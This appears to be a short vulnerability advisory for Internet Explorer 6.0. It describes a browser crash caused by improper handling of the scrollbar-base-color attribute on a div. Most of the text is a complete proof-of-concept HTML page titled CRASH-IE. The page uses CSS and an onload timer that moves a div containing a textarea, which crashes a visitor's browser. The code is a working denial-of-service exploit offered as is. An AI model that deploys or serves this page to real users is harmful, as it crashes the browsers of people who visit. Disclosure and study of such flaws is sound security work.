The problem occurs due to improper handling of scrollbar-base-color attribute of the div object. Successful exploitation of this issue may allow an attacker to create a webpage containing malicious script code that would cause a user's browser to crash upon visiting the site. Microsoft Internet Explorer 6.0 has been reported to be vulnerable to this issue, however other versions may be affected as well. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>CRASH-IE</title> <style type="text/css"> html, body { overflow-y: hidden; scrollbar-base-color: '#330066'; } .crash { position:absolute; left:200px; top:200px; width:200px; } </style> <script type="text/javascript"> function galgenfrist() { window.setTimeout('crashIE();',1000); } function crashIE() { var moveNode = document.getElementById("move"); if(moveNode) { moveNode.style.top = "100px"; moveNode.style.left = "200px"; } } </script> </head> <body onload="galgenfrist();"> <h1>CRASH-IE</h1> <div id="move" class="crash"> <table> <tbody> <tr> <td> <textarea></textarea> </td> </tr> </tbody> </table> </div> </body> </html>
